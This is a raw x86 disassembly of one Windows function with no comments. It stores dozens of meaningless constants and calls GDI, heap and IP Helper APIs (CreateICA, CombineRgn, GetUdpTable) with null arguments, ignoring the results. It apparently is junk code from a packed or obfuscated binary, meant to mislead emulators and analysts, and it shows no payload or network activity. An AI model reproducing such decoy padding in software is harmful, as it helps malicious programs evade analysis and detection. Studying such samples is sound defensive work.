mov byte [ebp - 0x37d], 0xbe
fld dword [0x652119e0]
fstp dword [ebp - 0x384]
mov word [ebp - 0xf72], 0xf919
mov word [ebp - 0xf70], 0xf3f5
mov word [ebp - 0xf6e], 0x2361
mov word [ebp - 0xf6c], 0xa2bb
mov dword [ebp - 0xf80], 0xe835db89
mov dword [ebp - 0xf7c], 0x703fd14
mov dword [ebp - 0xf78], 0x8ef0f40d
mov dword [ebp - 0x1128], 0x1e843db6
mov dword [ebp - 0x1124], 0x8bced08a
mov dword [ebp - 0x1120], 0x699c8e69
mov dword [ebp - 0x111c], 0xa2d7565a
mov dword [ebp - 0x1118], 0x6fb4f960
mov dword [ebp - 0x1114], 0xb6528045
mov dword [ebp - 0x1110], 0x2f8ed4ee
mov dword [ebp - 0x110c], 0xcf53b7b4
mov dword [ebp - 0x1108], 0x4b93fa01
nop
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreateICA]
call eax
sub esp, 0x10
mov dword [ebp - 0x290], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x294]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [ebp - 0x36c], 0xd26fd5f3
mov dword [ebp - 0x370], 0xb59b2e9e
fld qword [0x652119e8]
fstp qword [ebp - 0x378]
mov dword [ebp - 0xf84], 0xccde42a6
nop
mov dword [ebp - 0x298], 1
mov byte [ebp - 0x299], 0xb3
mov dword [ebp - 0xdf4], 0x4cef0623
mov dword [ebp - 0xdf0], 0xb2f3b078
mov dword [ebp - 0xdec], 0x7a162534
mov dword [ebp - 0xde8], 0x71a67dde
mov dword [ebp - 0xde4], 0x13718acb
mov dword [ebp - 0xde0], 0x22bf7c7c
mov dword [ebp - 0xddc], 0xc2ca5715
mov dword [ebp - 0xdd8], 0x98942636
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CombineRgn]
call eax
sub esp, 0x10
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x354], 0x5238983a
mov dword [ebp - 0x358], 0xcffe8e59
mov byte [ebp - 0x359], 0xc4
mov dword [ebp - 0x360], 0xb11e7d2a
movsx eax, byte [ebp - 0x359]
mov dword [ebp - 0x364], eax
nop
mov eax, dword [ebp - 0x364]
cmp dword [ebp - 0x360], eax
mov word [ebp - 0x366], 0x3283
mov word [ebp - 0x368], 0x3e0e
movzx eax, word [ebp - 0x368]
imul ax, ax, 0xd123
mov word [ebp - 0x368], ax
movzx eax, word [ebp - 0x368]
sub ax, 0x230c
mov word [ebp - 0x368], ax
nop
fld qword [0x652119f0]
fstp qword [ebp - 0x2a8]
mov word [ebp - 0x2aa], 0xee76
mov byte [ebp - 0x2ab], 0xea
mov dword [ebp - 0x34c], 0xf5637dfd
mov dword [ebp - 0x350], 0xdece
cmp dword [ebp - 0x350], 0xf163
nop
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUdpTable
sub esp, 0xc
mov dword [ebp - 0x2b0], eax
mov word [ebp - 0x2b2], 0xdd23
mov dword [ebp - 0xe08], 1
mov dword [ebp - 0xe04], 0
mov dword [ebp - 0xe00], 0
mov dword [ebp - 0xdfc], 0
mov dword [ebp - 0xdf8], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUdpTable
sub esp, 0xc
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x344], 0x6b2a1995
mov dword [ebp - 0x348], 0xa213768d
mov dword [ebp - 0xfb6], 0x63490aac
mov dword [ebp - 0xfb2], 0x341183d8
mov word [ebp - 0xfae], 0x7d9
mov dword [ebp - 0x1128], 0xb5af64ba
mov dword [ebp - 0x1124], 0x3226d627
mov dword [ebp - 0x1120], 0xd66ea59c
mov dword [ebp - 0x111c], 0x5f7baa10
mov dword [ebp - 0x1118], 0x40496fd0
mov dword [ebp - 0x1114], 0x15daf390
mov dword [ebp - 0x1110], 0xdd227f4d
mov dword [ebp - 0x110c], 0x3819f4a2
mov dword [ebp - 0xfc4], 0xd114afd9
mov dword [ebp - 0xfc0], 0x92356b94
mov dword [ebp - 0xfbc], 0xa68d7f08
nop
fld qword [0x652119f8]
fstp qword [ebp - 0xe48]
fld qword [0x65211a00]
fstp qword [ebp - 0xe40]
fld qword [0x65211a08]
fstp qword [ebp - 0xe38]
fld qword [0x65211a10]
fstp qword [ebp - 0xe30]
fld qword [0x65211a18]
fstp qword [ebp - 0xe28]
fld qword [0x65211a20]
fstp qword [ebp - 0xe20]
fld qword [0x65211a28]
fstp qword [ebp - 0xe18]
fld qword [0x65211a30]
fstp qword [ebp - 0xe10]
mov dword [ebp - 0x2bc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CombineTransform]
call eax
sub esp, 0xc
mov dword [ebp - 0x2c0], eax
fld dword [0x65211a38]
fstp dword [ebp - 0x2c4]
mov word [ebp - 0x32a], 0xc101
mov dword [ebp - 0x330], 0x81031da3
mov dword [ebp - 0x334], 0x3cf296af
mov word [ebp - 0xfde], 0x4ccf
mov word [ebp - 0xfdc], 0xf224
mov word [ebp - 0xfda], 0x866c
mov word [ebp - 0xfd8], 0x4003
mov word [ebp - 0xfd6], 0x7af7
mov word [ebp - 0xfd4], 0x3861
mov word [ebp - 0xfd2], 0xa15e
mov word [ebp - 0xfd0], 0xaced
mov word [ebp - 0xfce], 0xe173
mov word [ebp - 0xfcc], 0xbd25
mov dword [ebp - 0xfec], 0x42503669
mov dword [ebp - 0xfe8], 0xfdc7f982
mov dword [ebp - 0xfe4], 0x1caa491f
fld qword [0x65211a40]
fstp qword [ebp - 0x1008]
fld qword [0x65211a48]
fstp qword [ebp - 0x1000]
fld qword [0x65211a50]
fstp qword [ebp - 0xff8]
fld qword [0x65211a58]
fstp qword [ebp - 0x340]
nop
mov dword [ebp - 0x2c8], 0xfdcde80f
mov word [ebp - 0xe52], 0x9b6e
mov word [ebp - 0xe50], 0x155
mov word [ebp - 0xe4e], 0x49a3
mov word [ebp - 0xe4c], 0xa55d
mov word [ebp - 0xe4a], 0x76ef
mov dword [ebp - 0xe6c], 0x81e8c540
mov dword [ebp - 0xe68], 0xfdfec0af
mov dword [ebp - 0xe64], 0x8a23a6a2
mov dword [ebp - 0xe60], 0x20aba8c2
mov dword [ebp - 0xe5c], 0x30c50159
mov dword [ebp - 0xe58], 0x72d376b3
mov dword [ebp - 0x2cc], 0xcf083673
fld qword [0x65211a60]
fstp qword [ebp - 0x328]
mov dword [ebp - 0x100f], 0x26ef267d
mov word [ebp - 0x100b], 0x5e9e
mov byte [ebp - 0x1009], 0x43
mov dword [ebp - 0x101c], 0x8cbd9dc7
mov dword [ebp - 0x1018], 0x6d3e41b9
mov dword [ebp - 0x1014], 0xd06d723b
nop
mov byte [ebp - 0x2cd], 0x73
mov word [ebp - 0xe76], 0x904f
mov word [ebp - 0xe74], 0xdd5a
mov word [ebp - 0xe72], 0xf2d1
mov word [ebp - 0xe70], 0x5b71
mov word [ebp - 0xe6e], 0x94e4
mov byte [ebp - 0x2ce], 0xf4
mov word [ebp - 0x314], 0x9933
mov byte [ebp - 0x315], 0xfa
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x1030], 0xd766ffa9
mov dword [ebp - 0x102c], 0xdd6f92a5
mov dword [ebp - 0x1028], 0x97028ded
mov dword [ebp - 0x1024], 0x1fbe7980
mov dword [ebp - 0x1020], 0xbed5f128
mov byte [ebp - 0x31d], 0xf5
movzx eax, byte [ebp - 0x31d]
mov edx, 0x53
imul eax, edx
mov byte [ebp - 0x31d], al
mov word [ebp - 0x320], 0xf8fa
nop
mov word [ebp - 0x2d0], 0x6555
mov dword [ebp - 0x2d4], 0x7e6b1b7
mov dword [ebp - 0x2d8], 0x76688d77
mov dword [ebp - 0x2d8], 0x2d
mov dword [ebp - 0xe8c], 0x4e159c38
mov dword [ebp - 0xe88], 0xed5c8fa9
mov dword [ebp - 0xe84], 0x5b94f96d
mov dword [ebp - 0xe80], 0xd7f51726
mov dword [ebp - 0xe7c], 0x2618d68e
mov dword [ebp - 0xe91], 0xc1058a9a
mov byte [ebp - 0xe8d], 0xaf
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret